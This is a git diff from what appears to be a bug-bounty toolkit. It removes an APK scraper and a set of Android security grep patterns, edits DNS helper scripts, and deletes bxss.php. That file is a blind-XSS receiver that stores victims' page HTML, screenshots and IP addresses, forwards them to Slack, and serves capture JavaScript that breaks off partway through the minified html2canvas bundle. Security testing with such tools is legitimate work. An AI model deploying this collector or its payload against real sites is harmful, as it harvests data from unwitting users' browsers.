a6ecfb4..0000000 --- a/apk-downloader.py +++ /dev/null @@ -1,437 +0,0 @@ -import math -from multiprocessing import Process, Queue -import os -import os.path -import re -import sys -import time - -try: - # Python 3 - from queue import Empty as EmptyQueueException - from queue import Full as FullQueueException -except ImportError: - # Python 2 - from Queue import Empty as EmptyQueueException - from Queue import Full as FullQueueException - -from bs4 import BeautifulSoup -import requests - - -DOMAIN = "https://apkpure.com" -SEARCH_URL = DOMAIN + "/search?q=%s" - -DOWNLOAD_DIR = "./downloaded/" -PACKAGE_NAMES_FILE = "package_names.txt" -OUTPUT_CSV = "output.csv" - - -CONCURRENT_DOWNLOADS = 5 -CHUNK_SIZE = 128*1024 # 128 KiB -PROGRESS_UPDATE_DELAY = 0.25 -PROCESS_TIMEOUT = 10.0 - - -MSG_ERROR = -1 -MSG_PAYLOAD = 0 -MSG_START = 1 -MSG_PROGRESS = 2 -MSG_END = 3 - - -class SplitProgBar(object): - @staticmethod - def center(text, base): - if len(text) <= len(base): - left = (len(base) - len(text)) // 2 - return "%s%s%s" % (base[:left], text, base[left+len(text):]) - else: - return base - - def __init__(self, n, width): - self.n = n - self.sub_width = int(float(width-(n+1))/n) - self.width = n * (self.sub_width + 1) + 1 - self.progress = [float("NaN")] * n - - def __getitem__(self, ix): - return self.progress[ix] - - def __setitem__(self, ix, value): - self.progress[ix] = value - - def render(self): - bars = [] - for prog in self.progress: - if math.isnan(prog) or prog < 0.0: - bars.append(" " * self.sub_width) - continue - bar = "=" * int(round(prog*self.sub_width)) - bar += " " * (self.sub_width-len(bar)) - bar = SplitProgBar.center(" %.2f%% " % (prog*100), bar) - bars.append(bar) - - new_str = "|%s|" % "|".join(bars) - sys.stdout.write("\r%s" % new_str) - - def clear(self): - sys.stdout.write("\r%s\r" % (" " * self.width)) - - -class Counter(object): - def __init__(self, value = 0): - self.value = value - - def inc(self, n = 1): - self.value += n - - def dec(self, n = 1): - self.value -= n - - @property - def empty(self): - return self.value == 0 - - -def download_process(id_, qi, qo): - def send_progress(progress): - try: - qo.put_nowait((MSG_PROGRESS, (id_, progress))) - except FullQueueException: - pass - - def send_error(msg): - qo.put((MSG_ERROR, (id_, msg))) - - def send_start(pkg_name): - qo.put((MSG_START, (id_, pkg_name))) - - def send_finished(pkg_name, app_name, size, path, already=False): - if already: - qo.put((MSG_END, (id_, pkg_name, app_name, size, path))) - else: - qo.put((MSG_PAYLOAD, (id_, pkg_name, app_name, size, path))) - - while True: - message = qi.get() - - if message[0] == MSG_PAYLOAD: - package_name, app_name, download_url = message[1] - elif message[0] == MSG_END: - break - - try: - r = requests.get(download_url, stream=True) - except requests.exceptions.ConnectionError: - send_error("Connection error") - continue - - if r.status_code != 200: - send_error("HTTP Error %d" % r.status_code) - r.close() - continue - - content_disposition = r.headers.get("content-disposition", "") - content_length = int(r.headers.get('content-length', 0)) - - filename = re.search(r'filename="(.+)"', content_disposition) - if filename and filename.groups(): - filename = filename.groups()[0] - else: - filename = "%s.apk" % (package_name.replace(".", "_")) - - local_path = os.path.normpath(os.path.join(DOWNLOAD_DIR, filename)) - - if os.path.exists(local_path): - if not os.path.isfile(local_path): - # Not a file - send_error("%s is a directory" % local_path) - r.close() - continue - if os.path.getsize(local_path) == content_length: - # File has likely already been downloaded - send_finished( - package_name, app_name, content_length, local_path, True) - r.close() - continue - - send_start(package_name) - - size = 0 - t = time.time() - with open(local_path, "wb+") as f: - for chunk in r.iter_content(chunk_size=CHUNK_SIZE): - if chunk: - size += len(chunk) - f.write(chunk) - - nt = time.time() - if nt - t >= PROGRESS_UPDATE_DELAY: - send_progress(float(size) / content_length) - t = nt - - send_finished(package_name, app_name, size, local_path) - - -def search_process(qi, qo): - def send_error(msg): - qo.put((MSG_ERROR, msg)) - - def send_payload(pkg_name, app_name, dl_url): - qo.put((MSG_PAYLOAD, (pkg_name, app_name, dl_url))) - - while True: - message = qi.get() - - if message[0] == MSG_PAYLOAD: - package_name = message[1] - elif message[0] == MSG_END: - break - - # Search page - # url = SEARCH_URL % package_name - # try: - # r = requests.get(url) - # except requests.exceptions.ConnectionError: - # send_error("Connection error") - # continue - - # if r.status_code != 200: - # send_error("Could not get search page for %s" % package_name) - # continue - - # soup = BeautifulSoup(r.text, "html.parser") - - # first_result = soup.find("dl", class_="search-dl") - # if first_result is None: - # send_error("Could not find %s" % package_name) - # continue - - # search_title = first_result.find("p", class_="search-title") - # search_title_a = search_title.find("a") - - # app_name = search_title.text.strip() - # app_url = search_title_a.attrs["href"] - - app_url = '/aaaaaaaaaaaaa/' + package_name - - # App page - url = DOMAIN + app_url - try: - r = requests.get(url) - except requests.exceptions.ConnectionError: - send_error("Connection error") - continue - - if r.status_code != 200: - send_error("Could not get app page for %s" % package_name) - continue - - soup = BeautifulSoup(r.text, "html.parser") - app_name = package_name - # app_name = search_title.text.strip() - - download_button = soup.find("a", {"class":"da"}) - if download_button is None: - send_error("%s is a paid app. Could not download" % package_name) - continue - - download_url = download_button.attrs["href"] - - # Download app page - url = DOMAIN + download_url - try: - r = requests.get(url) - except requests.exceptions.ConnectionError: - send_error("Connection error") - continue - - if r.status_code != 200: - send_error("Could not get app download page for %s" % package_name) - continue - - soup = BeautifulSoup(r.text, "html.parser") - - download_link = soup.find("a", {"id":"download_link"}) - - if download_link is None: - send_error("%s is a paid or region app. Could not download" % package_name) - continue - - download_apk_url = download_link.attrs["href"] - - send_payload(package_name, app_name, download_apk_url) - - -def main(): - # Create the download directory - if not os.path.exists(DOWNLOAD_DIR): - os.makedirs(DOWNLOAD_DIR) - elif not os.path.isdir(DOWNLOAD_DIR): - print("%s is not a directory" % DOWNLOAD_DIR) - return -1 - - - # Read the package names - if not os.path.isfile(PACKAGE_NAMES_FILE): - print("Could not find %s" % PACKAGE_NAMES_FILE) - return -1 - - with open(PACKAGE_NAMES_FILE, "r") as f: - package_names = [line.strip() for line in f.readlines()] - - - # CSV file header - with open(OUTPUT_CSV, "w+") as csv: - csv.write("App name,Package name,Size,Location\n") - - - # Message-passing queues - search_qi = Queue() - search_qo = Queue() - - download_qi = Queue() - download_qo = Queue() - - - # Search Process - search_proc = Process(target=search_process, args=(search_qo, search_qi)) - search_proc.start() - - - # Download Processes - download_procs = [] - for i in range(CONCURRENT_DOWNLOADS): - download_proc = Process(target=download_process, - args=(i, download_qo, download_qi)) - download_procs.append(download_proc) - download_proc.start() - - - active_tasks = Counter() - def new_search_query(): - if package_names: - search_qo.put((MSG_PAYLOAD, package_names.pop(0))) - active_tasks.inc() - return True - return False - - # Send some queries to the search process - for _ in range(CONCURRENT_DOWNLOADS + 1): - new_search_query() - - - prog_bars = SplitProgBar(CONCURRENT_DOWNLOADS, 80) - - def log(msg, pb=True): - prog_bars.clear() - print(msg) - if pb: - prog_bars.render() - sys.stdout.flush() - - last_message_time = time.time() - while True: - if active_tasks.empty: - log("Done!", False) - break - - no_message = True - - try: - # Messages from the search process - message = search_qi.get(block=False) - last_message_time = time.time() - no_message = False - - if message[0] == MSG_PAYLOAD: - # Donwload URL found => Start a download - download_qo.put(message) - log(" Found app for %s" % message[1][0]) - - elif message[0] == MSG_ERROR: - # Error with search query - log("!!" + message[1]) - active_tasks.dec() - - # Search for another app - new_search_query() - except EmptyQueueException: - pass - - try: - # Messages from the download processes - message = download_qi.get(block=False) - last_message_time = time.time() - no_message = False - - if message[0] == MSG_PAYLOAD or message[0] == MSG_END: - # Download finished - id_, package_name, app_name, size, location = message[1] - prog_bars[id_] = float("NaN") - - if message[0] == MSG_PAYLOAD: - log(" Finished downloading %s" % package_name) - elif message[0] == MSG_END: - log(" File already downloaded for %s" % package_name) - - # Add row to CSV file - # with open(OUTPUT_CSV, "a") as csv: - # csv.write(",".join([ - # '"%s"' % app_name.replace('"', '""'), - # '"%s"' % package_name.replace('"', '""'), - # "%d" % size, - # '"%s"' % location.replace('"', '""')])) - # csv.write("\n") - - active_tasks.dec() - - # Search for another app - new_search_query() - - elif message[0] == MSG_START: - # Download started - id_, package_name = message[1] - prog_bars[id_] = 0.0 - log(" Started downloading %s" % package_name) - - elif message[0] == MSG_PROGRESS: - # Download progress - id_, progress = message[1] - prog_bars[id_] = progress - prog_bars.render() - - elif message[0] == MSG_ERROR: - # Error during download - id_, msg = message[1] - log("!!" + msg) - prog_bars[id_] = 0.0 - - active_tasks.dec() - - # Search for another app - new_search_query() - except EmptyQueueException: - pass - - if no_message: - if time.time() - last_message_time > PROCESS_TIMEOUT: - log("!!Timed out after %.2f seconds" % (PROCESS_TIMEOUT), False) - break - time.sleep(PROGRESS_UPDATE_DELAY / 2.0) - - # End processes - search_qo.put((MSG_END, )) - for _ in range(CONCURRENT_DOWNLOADS): - download_qo.put((MSG_END, )) - - search_proc.join() - for download_proc in download_procs: - download_proc.join() - - return 0 - - -if __name__ == '__main__': - sys.exit(main()) \ No newline at end of file diff --git a/apk-regexp.sh b/apk-regexp.sh deleted file mode 100755 index efbc076..0000000 --- a/apk-regexp.sh +++ /dev/null @@ -1,16 +0,0 @@ -#!/bin/bash - -target_dir=$1 -script_dir=$(dirname "$(readlink -f "$0")") - -cat $script_dir"/apk-regexp.txt" | while read -r r; do - title=`echo "$r" | awk -F ";;" '{print $1}'` - echo "[+] $title" - reg=`echo "$r" | awk -F ";;" '{print $2}'` - escape_reg=$reg - escape_reg=$(echo $escape_reg | sed "s/\"/\\\\\"/g") - echo "-> $escape_reg" - egrep --color -ri "$escape_reg" $target_dir - echo - echo -done diff --git a/apk-regexp.txt b/apk-regexp.txt deleted file mode 100644 index 5a734fa..0000000 --- a/apk-regexp.txt +++ /dev/null @@ -1,18 +0,0 @@ -Buckets/Takeovers;;amazonaws|azurewebsites|cloudapp|trafficmanager|herokuapp|cloudfront|digitaloceanspace|storage\.(cloud|google)|firebaseio\.com -Webview;;setAllowContent|setAllowFileAccess|setAllowFileAccessFromFileURLs|setAllowUniversalAccessFromFileURLS|setJavascriptEnabled|setPluginState|setSavePassword|JavascriptInterface|loadUrl|setPluginsEnabled|setPluginState|shouldOverrideUrlLoading -External call;;[^a-z](OPTIONS|GET|HEAD|POST|PUT|DELETE|TRACE|CONNECT|PROPFIND|PROPPATCH|MKCOL|COPY|MOVE|LOCK|UNLOCK|VERSION-CONTROL|REPORT|CHECKOUT|CHECKIN|UNCHECKOUT|MKWORKSPACE|UPDATE|LABEL|MERGE|BASELINE-CONTROL|MKACTIVITY|ORDERPATCH|ACL|PATCH|SEARCH|ARBITRARY)[^a-z]" -External call;;@(OPTIONS|GET|HEAD|POST|PUT|DELETE|TRACE|CONNECT|PROPFIND|PROPPATCH|MKCOL|COPY|MOVE|LOCK|UNLOCK|VERSION-CONTROL|REPORT|CHECKOUT|CHECKIN|UNCHECKOUT|MKWORKSPACE|UPDATE|LABEL|MERGE|BASELINE-CONTROL|MKACTIVITY|ORDERPATCH|ACL|PATCH|SEARCH|ARBITRARY)\( -Parameters;;putExtra|getBundleExtra|getBooleanExtra|getDoubleExtra|getIntExtra|getShortExtra|getStringExtra|getLongExtra|getFloatExtra|getCharExtra|getByteExtra|removeExtra|getCharSequenceExtra|getParcelableExtra|getBooleanArrayExtra|getCharArrayExtra|getByteArrayExtra|getCharSequenceArrayExtra|getCharSequenceArrayListExtra|getDoubleArrayExtra|getFloatArrayExtra|getIntArrayExtra|getIntegerArrayListExtra|getParcelableArrayListExtra|getParcelableArrayExtra|getSerializableExtra|getShortArrayExtra|getStringArrayExtra|getStringArrayListExtra|putIntegerArrayListExtra|putParcelableArrayListExtra|putStringArrayListExtra -URL Parameters;;[&\?][a-zA-Z0-9\_]+= -Log call;;Log\.|Timber\. -Base64 encoded/decoded strings;;base64 -IP adress;;([0-9]{1,3}\s*,\s*){3,}) -Internal Storage;;MODE_|getPreferences|getDefaultSharedPreferences|createTempFile|SQLiteDatabase|openOrCreateDatabase|execSQL|rawQuery -External Storage;;EXTERNAL_STORAGE|EXTERNAL_CONTENT|getExternal -Content Provider;;content:// -System;;SystemProperties|\.exec\( -Intent;;new Intent|new android\.content\.Intent|android\.intent\.action|PendingIntent|sendBroadcast|sendOrderedBroadcast|startActivity|resolveActivity|createChooser|startService|bindService|registerReceiver -Fragment;;Fragment\.instantiate|FragmentManager|isValidFragment|FragmentTransaction -SSL Certificate;;CertificatePinner|HostnameVerifier|X509Certificate|CertificatePinner|networkSecurityConfig|network-security-config|onReceivedSslError -Package install;;vnd\.android\.package-archive -File manipulation;;(get|set|open|add|new)[a-zA-Z0]*(File|URI|Stream|Image|Document|Dir|Content|Url)[a-zA-Z0]* diff --git a/arpa.sh b/arpa.sh index 7a4d363..6c9e9f8 100755 --- a/arpa.sh +++ b/arpa.sh @@ -36,11 +36,11 @@ arpa=$(echo $arpa | sed "s/WWW/ /g") for a in $arpa ; do str=$(echo "$a" | awk -F "YYY" '{print $1}') ip=$(echo "$str" | awk -F "." '{print $4"."$3"."$2"."$1}') - #echo $ip - dom=$(echo "$a" | awk -F "YYY" '{print $2}') - dom=${dom:0:-1} + # dom=$(echo "$a" | awk -F "YYY" '{print $2}') + # dom=${dom:0:-1} #echo $dom - echo $ip" "$dom + echo $ip + # echo $ip" "$dom done exit diff --git a/bbhost.sh b/bbhost.sh index d269c51..7ae162d 100755 --- a/bbhost.sh +++ b/bbhost.sh @@ -1,5 +1,7 @@ #!/bin/bash +# multithreaded host command + if [ $# -lt 1 ] ; then input="hosts" else @@ -17,7 +19,7 @@ fi parallel -j 20 "host " :::: $input | tee -a $output exit; -for h in $(cat $input) ; do - host $h | tee -a $output - echo "" | tee -a $output -done +# for h in $(cat $input) ; do +# host $h | tee -a $output +# echo "" | tee -a $output +# done diff --git a/bxss.php b/bxss.php deleted file mode 100755 index ddb9493..0000000 --- a/bxss.php +++ /dev/null @@ -1,240 +0,0 @@ - 'images/', // relative please! - 'report' => [ - 'file' => [ - 'enabled' => false, - 'path' => 'xss.log', - ], - 'mail' => [ // not implemented yet - 'enabled' => false, - 'to' => '', - ], - 'sqlite' => [ - 'enabled' => false, - 'path' => 'xss.db', - - ], - 'slack' => [ - 'enabled' => false, - 'webhook_url' => '', - ], - ], -]; - - -class Reporting -{ - public static function getClientIp() - { - if( isset($_SERVER['HTTP_X_FORWARDED_FOR']) ) { - return filter_var( $_SERVER['HTTP_X_FORWARDED_FOR'], FILTER_VALIDATE_IP ); - } - - if( isset($_SERVER['HTTP_CLIENT_IP']) ) { - return filter_var( $_SERVER['HTTP_CLIENT_IP'], FILTER_VALIDATE_IP ); - } - - return filter_var( $_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP ); - } - - public static function report_file( $config, $t_datas ) { - $log = str_repeat('-',10).' '.$t_datas['date'].' '.str_repeat('-',50)."\n\n"; - unset( $t_datas['id'] ); - unset( $t_datas['date'] ); - foreach( $t_datas as $k=>$v ) { - $log .= strtoupper( $k ).":\n"; - $log .= $v."\n\n"; - } - file_put_contents( $config['path'], $log, FILE_APPEND | LOCK_EX ); - } - public static function report_mail( $config, $t_datas ) { - // todo - } - public static function report_sqlite( $config, $t_datas ) { - $db = new SQLite3( $config['path'] ); - $q = 'SELECT COUNT(*) FROM bxss'; - $result = @$db->query( $q ); - - if( $result === false ) { - $db->exec( 'CREATE TABLE bxss (id STRING PRIMARY KEY, created_at DATETIME, datas TEXT)' ); - $db->query( $q ); - } - - $db->query( "INSERT INTO bxss (id, created_at, datas) VALUES('".$t_datas['id']."', '".$t_datas['date']."', '".base64_encode(json_encode($t_datas))."')" ); - } - public static function report_slack( $config, $t_datas ) { - $log = '*'.str_repeat('-',10).' '.$t_datas['date'].' '.str_repeat('-',50)."*\n\n"; - if( isset($t_datas['screenshot']) ) { - $screenshot = $t_datas['screenshot']; - unset($t_datas['screenshot']); - } - if( isset($t_datas['document_html']) ) { - $document_html = $t_datas['document_html']; - unset( $t_datas['document_html'] ); - $document_save = $t_datas['document_save']; - unset( $t_datas['document_save'] ); - } - unset( $t_datas['id'] ); - unset( $t_datas['date'] ); - foreach( $t_datas as $k=>$v ) { - $log .= strtoupper( $k )."\n"; - $log .= '```'.$v."```\n\n"; - } - $t_json = []; - $t_json['text'] = $log; - $t_json['attachments'] = []; - if( isset($screenshot) ) { - $attachment = []; - $attachment['pretext'] = 'SCREENSHOT'; - $attachment['title'] = $attachment['title_link'] = $attachment['image_url'] = $screenshot; - $t_json['attachments'][] = $attachment; - } - if( isset($document_html) ) { - $attachment = []; - $attachment['title'] = $attachment['title_link'] = $document_save; - $attachment['pretext'] = 'HTML_DOCUMENT'; - $attachment['text'] = $document_html; - $t_json['attachments'][] = $attachment; - } - $c = curl_init(); - curl_setopt( $c, CURLOPT_URL, $config['webhook_url'] ); - curl_setopt( $c, CURLOPT_POST, true ); - curl_setopt( $c, CURLOPT_HTTPHEADER, ['Content-type: application/json'] ); - curl_setopt( $c, CURLOPT_POSTFIELDS, json_encode($t_json) ); - curl_setopt( $c, CURLOPT_RETURNTRANSFER, true ); - curl_exec( $c ); - } - public static function save_html( $path, $id, $content ) { - $path_abs = dirname($_SERVER['SCRIPT_FILENAME']).'/'.trim($path,'/'); - if( !is_dir($path_abs) ) { - if( !mkdir($path_abs,0777,true) ) { - return ''; - } - } - $file = $id.'.html'; - $path_abs = $path_abs.'/'.$file; - if( file_put_contents($path_abs,$content) !== false ) { - $url = $_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['SERVER_NAME'].rtrim(dirname($_SERVER['SCRIPT_NAME']),'/').'/'.trim($path,'/').'/'.$file; - return $url; - } else { - return ''; - } - } - public static function save_screenshot( $path, $id, $content ) { - $path_abs = dirname($_SERVER['SCRIPT_FILENAME']).'/'.trim($path,'/'); - if( !is_dir($path_abs) ) { - if( !mkdir($path_abs,0777,true) ) { - return ''; - } - } - $file = $id.'.png'; - $path_abs = $path_abs.'/'.$file; - $content = base64_decode( substr( $content, strlen('data:image/png;base64,') ) ); - if( file_put_contents($path_abs,$content) !== false ) { - $url = $_SERVER['REQUEST_SCHEME'].'://'.$_SERVER['SERVER_NAME'].rtrim(dirname($_SERVER['SCRIPT_NAME']),'/').'/'.trim($path,'/').'/'.$file; - return $url; - } else { - return ''; - } - } -} - -if( isset($_POST['datas']) ) -{ - // handling datas - $input = file_get_contents('php://input'); - $input = substr( $input, strpos($input,'=')+1 ); - $t_datas = json_decode( $input, true ); - $t_datas['client_ip'] = Reporting::getClientIp(); - $id = $t_datas['id'] = md5( uniqid(true) ); - $date = $t_datas['date'] = date( 'Y-m-d H:i:s' ); - - if( isset($t_datas['document_html']) && strlen($t_datas['document_html']) ) { - $t_datas['document_save'] = Reporting::save_html( $_config['image_path'], $id, $t_datas['document_html'] ); - $t_datas['document_html'] = substr( $t_datas['document_html'], 0, 5000 ); - } else { - unset( $t_datas['document_html'] ); - } - - if( isset($t_datas['screenshot']) && strlen($t_datas['screenshot']) ) { - $t_datas['screenshot'] = Reporting::save_screenshot( $_config['image_path'], $id, $t_datas['screenshot'] ); - } else { - unset( $t_datas['screenshot'] ); - } - - // reporting - foreach( $_config['report'] as $method=>$config ) { - $function = 'report_'.$method; - if( method_exists('Reporting',$function) && isset($config['enabled']) && $config['enabled'] ) { - Reporting::$function( $config, $t_datas ); - } - } - - exit(); -} - -header('Content-Type: application/javascript'); - -?> - -// https://github.com/niklasvh/html2canvas -!function(t,e,n){function r(t,e,n,r){return c(t,n,r,e).then(function(a){E("Document cloned");var c="["+Ee+"='true']";t.querySelector(c).removeAttribute(Ee);var h=a.contentWindow,u=h.document.querySelector(c),p=new de(h.document),l=new m(e,p),d=B(u),f="view"===e.type?Math.min(d.width,n):o(),g="view"===e.type?Math.min(d.height,r):s(),y=new xe(f,g,l,e),v=new P(u,y,p,l,e);return v.ready.then(function(){E("Finished rendering");var t="view"===e.type||u!==h.document.body&&u!==h.document.documentElement?i(y.canvas,d):y.canvas;return e.removeContainer&&(a.parentNode.removeChild(a),E("Cleaned up container")),t})})}function i(t,n){var r=e.createElement("canvas"),i=Math.min(t.width-1,Math.max(0,n.left)),o=Math.min(t.width,Math.max(1,n.left+n.width)),s=Math.min(t.height-1,Math.max(0,n.top)),a=Math.min(t.height,Math.max(1,n.top+n.height)),c=r.width=o-i,h=r.height=a-s;return E("Cropping canvas at:","left:",n.left,"top:",n.top,"width:",n.width,"height:",n.height),E("Resulting crop with width",c,"and height",h," with x",i,"and y",s),r.getContext("2d").drawImage(t,i,s,c,h,0,0,c,h),r}function o(){return Math.max(Math.max(e.body.scrollWidth,e.documentElement.scrollWidth),Math.max(e.body.offsetWidth,e.documentElement.offsetWidth),Math.max(e.body.clientWidth,e.documentElement.clientWidth))}function s(){return Math.max(Math.max(e.body.scrollHeight,e.documentElement.scrollHeight),Math.max(e.body.offsetHeight,e.documentElement.offsetHeight),Math.max(e.body.clientHeight,e.documentElement.clientHeight))}function a(){return"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"}function c(e,n,r,i){var o=e.documentElement.cloneNode(!0),s=e.createElement("iframe"); return s.style.visibility="hidden",s.style.position="absolute",s.style.left=s.style.top="-10000px",s.width=n,s.height=r,s.scrolling="no",e.body.appendChild(s),new Promise(function(e){var n=s.contentWindow.document;s.contentWindow.onload=s.onload=function(){e(s)},n.open(),n.write(""),n.close(),n.replaceChild(h(n.adoptNode(o)),n.documentElement),"view"===i.type&&s.contentWindow.scrollTo(t.pageXOffset,t.pageYOffset)})}function h(t){return[].slice.call(t.childNodes,0).filter(u).forEach(function(e){"SCRIPT"===e.tagName?t.removeChild(e):h(e)}),t}function u(t){return t.nodeType===Node.ELEMENT_NODE}function p(t){if(this.src=t,E("DummyImageContainer for",t),!this.promise||!this.image){E("Initiating DummyImageContainer"),p.prototype.image=new Image;var e=this.image;p.prototype.promise=new Promise(function(t,n){e.onload=t,e.onerror=n,e.src=a(),e.complete===!0&&t(e)})}}function l(t,n){var r,i,o=e.createElement("div"),s=e.createElement("img"),c=e.createElement("span"),h="Hidden Text";o.style.visibility="hidden",o.style.fontFamily=t,o.style.fontSize=n,o.style.margin=0,o.style.padding=0,e.body.appendChild(o),s.src=a(),s.width=1,s.height=1,s.style.margin=0,s.style.padding=0,s.style.verticalAlign="baseline",c.style.fontFamily=t,c.style.fontSize=n,c.style.margin=0,c.style.padding=0,c.appendChild(e.createTextNode(h)),o.appendChild(c),o.appendChild(s),r=s.offsetTop-c.offsetTop+1,o.removeChild(c),o.appendChild(e.createTextNode(h)),o.style.lineHeight="normal",s.style.verticalAlign="super",i=s.offsetTop-o.offsetTop+1,e.body.removeChild(o),this.baseline=r,this.lineWidth=1,this.middle=i}function d(){this.data={}}function f(t){this.src=t.value,this.colorStops=[],this.type=null,this.x0=.5,this.y0=.5,this.x1=.5,this.y1=.5,this.promise=Promise.resolve(!0)}function g(t,e){this.src=t,this.image=new Image;var n=this;this.tainted=null,this.promise=new Promise(function(r,i){n.image.onload=r,n.image.onerror=i,e&&(n.image.crossOrigin="anonymous"),n.image.src=t,n.image.complete===!0&&r(n.image)})["catch"](function(){var e=new p(t);return e.promise.then(function(t){n.image=t})})}function m(e,n){this.link=null,this.options=e,this.support=n,this.origin=t.location.protocol+t.location.hostname+t.location.port}function y(t){return"IMG"===t.node.nodeName}function v(t){return"svg"===t.node.nodeName}function w(t){return{args:[t.node.src],method:"url"}}function b(t){return{args:[t.node],method:"svg"}}function x(t){f.apply(this,arguments),this.type=this.TYPES.LINEAR;var e=null===t.args[0].match(this.stepRegExp);e?t.args[0].split(" ").reverse().forEach(function(t){switch(t){case"left":this.x0=0,this.x1=1;break;case"top":this.y0=0,this.y1=1;break;case"right":this.x0=1,this.x1=0;break;case"bottom":this.y0=1,this.y1=0;break;case"to":var e=this.y0,n=this.x0;this.y0=this.y1,this.x0=this.x1,this.x1=n,this.y1=e;break;default:var r=t.match(this.angleRegExp);if(r)switch(r[2]){case"deg":var i=parseFloat(r[1]),o=i/(180/Math.PI),s=Math.tan(o);this.y0=2/Math.tan(s)/2,this.x0=0,this.x1=1,this.y1=0}}},this):(this.y0=0,this.y1=1),this.colorStops=t.args.slice(e?1:0).map(function(t){var e=t.match(this.stepRegExp);return{color:e[1],stop:"%"===e[3]?e[2]/100:null}},this),null===this.colorStops[0].stop&&(this.colorStops[0].stop=0),null===this.colorStops[this.colorStops.length-1].stop&&(this.colorStops[this.colorStops.length-1].stop=1),this.colorStops.forEach(function(t,e){null===t.stop&&this.colorStops.slice(e).some(function(n,r){return null!==n.stop?(t.stop=(n.stop-this.colorStops[e-1].stop)/(r+1)+this.colorStops[e-1].stop,!0):!1},this)},this)}function E(){t.html2canvas.logging&&t.console&&t.console.log&&Function.prototype.bind.call(t.console.log,t.console).apply(t.console,[Date.now()-t.html2canvas.start+"ms","html2canvas:"].concat([].slice.call(arguments,0)))}function T(t,e){this.node=t,this.parent=e,this.stack=null,this.bounds=null,this.offsetBounds=null,this.visible=null,this.computedStyles=null,this.styles={},this.backgroundImages=null,this.transformData=null,this.transformMatrix=null}function C(t){var e=t.options[t.selectedIndex||0];return e?e.text||"":""}function k(t){return t&&"matrix"===t[1]?t[2].split(",").map(function(t){return parseFloat(t.trim())}):void 0}function I(t){return-1!==t.toString().indexOf("%")}function S(t){var e,n,r,i,o,s,a,c=" \r\n ",h=[],u=0,p=0,l=function(){e&&('"'===n.substr(0,1)&&(n=n.substr(1,n.length-2)),n&&a.push(n),"-"===e.substr(0,1)&&(i=e.indexOf("-",1)+1)>0&&(r=e.substr(0,i),e=e.substr(i)),h.push({prefix:r,method:e.toLowerCase(),value:o,args:a,image:null})),a=[],e=r=n=o=""};return a=[],e=r=n=o="",t.split("").forEach(function(t){if(!(0===u&&c.indexOf(t)>-1)){switch(t){case'"':s?s===t&&(s=null):s=t;break;case"(":if(s)break;if(0===u)return u=1,void(o+=t);p++;break;case")":if(s)break;if(1===u){if(0===p)return u=0,o+=t,void l();p--}break;case",":if(s)break;if(0===u)return void l();if(1===u&&0===p&&!e.match(/^url$/i))return a.push(n),n="",void(o+=t)}o+=t,0===u?e+=t:n+=t}}),l(),h}function R(t){return t.replace("px","")}function O(t){return parseFloat(t)}function B(t){if(t.getBoundingClientRect){var e=t.getBoundingClientRect(),n="BODY"===t.nodeName,r=n?t.scrollWidth:null==t.offsetWidth?e.width:t.offsetWidth;return{top:e.top,bottom:e.bottom||e.top+e.height,right:e.left+r,left:e.left,width:r,height:n?t.scrollHeight:null==t.offsetHeight?e.height:t.offsetHeight}}return{}}function M(t){var e=t.offsetParent?M(t.offsetParent):{top:0,left:0};return{top:t.offsetTop+e.top,bottom:t.offsetTop+t.offsetHeight+e.top,right:t.offsetLeft+e.left+t.offsetWidth,left:t.offsetLeft+e.left,width:t.offsetWidth,height:t.offsetHeight}}function P(t,e,n,r,i){E("Starting NodeParser"),this.renderer=e,this.options=i,this.range=null,this.support=n,this.renderQueue=[],this.stack=new le(!0,1,t.ownerDocument,null);var o=new T(t,null);t!==t.ownerDocument.documentElement&&this.renderer.isTransparent(o.css("backgroundColor"))&&e.rectangle(0,0,e.width,e.height,new T(t.ownerDocument.documentElement,null).css("backgroundColor")),o.visibile=o.isElementVisible(),this.createPseudoHideStyles(t.ownerDocument),this.nodes=ce([o].concat(this.getChildren(o)).filter(function(t){return t.visible=t.isElementVisible()}).map(this.getPseudoElements,this)),this.fontMetrics=new d,E("Fetched nodes"),this.images=r.fetch(this.nodes.filter(te)),E("Creating stacking contexts"),this.createStackingContexts(),E("Sorting stacking contexts"),this.sortStackingContexts(this.stack),this.ready=this.images.ready.then(ie(function(){return E("Images loaded, starting parsing"),this.parse(this.stack),E("Render queue created with "+this.renderQueue.length+" items"),new Promise(ie(function(t){i.async?"function"==typeof i.async?i.async.call(this,this.renderQueue,t):(this.renderIndex=0,this.asyncRenderer(this.renderQueue,t)):(this.renderQueue.forEach(this.paint,this),t())},this))},this))}function A(t){return t.replace(/(\-[a-z])/g,function(t){return t.toUpperCase().replace("-","")})}function N(){}function L(t,e,n,r){var i=4*((Math.sqrt(2)-1)/3),o=n*i,s=r*i,a=t+n,c=e+r;return{topLeft:_({x:t,y:c},{x:t,y:c-s},{x:a-o,y:e},{x:a,y:e}),topRight:_({x:t,y:e},{x:t+o,y:e},{x:a,y:c-s},{x:a,y:c}),bottomRight:_({x:a,y:e},{x:a,y:e+s},{x:t+o,y:c},{x:t,y:c}),bottomLeft:_({x:a,y:c},{x:a-o,y:c},{x:t,y:e+s},{x:t,y:e})}}function D(t,e,n){var r=t.left,i=t.top,o=t.width,s=t.height,a=e[0][0],c=e[0][1],h=e[1][0],u=e[1][1],p=e[2][0],l=e[2][1],d=e[3][0],f=e[3][1],g=o-h,m=s-l,y=o-p,v=s-f;return{topLeftOuter:L(r,i,a,c).topLeft.subdivide(.5),topLeftInner:L(r+n[3].width,i+n[0].width,Math.max(0,a-n[3].width),Math.max(0,c-n[0].width)).topLeft.subdivide(.5),topRightOuter:L(r+g,i,h,u).topRight.subdivide(.5),topRightInner:L(r+Math.min(g,o+n[3].width),i+n[0].width,g>o+n[3].width?0:h-n[3].width,u-n[0].width).topRight.subdivide(.5),bottomRightOuter:L(r+y,i+m,p,l).bottomRight.subdivide(.5),bottomRightInner:L(r+Math.min(y,o+n[3].width),i+Math.min(m,s+n[0].width),Math.max(0,p-n[1].width),Math.max(0,l-n[2].width)).bottomRight.subdivide(.5),bottomLeftOuter:L(r,i+v,d,f).bottomLeft.subdivide(.5),bottomLeftInner:L(r+n[3].width,i+v,Math.max(0,d-n[3].width),Math.max(0,f-n[2].width)).bottomLeft.subdivide(.5)}}function _(t,e,n,r){var i=function(t,e,n){return{x:t.x+(e.x-t.x)*n,y:t.y+(e.y-t.y)*n}};return{start:t,startControl:e,endControl:n,end:r,subdivide:function(o){var 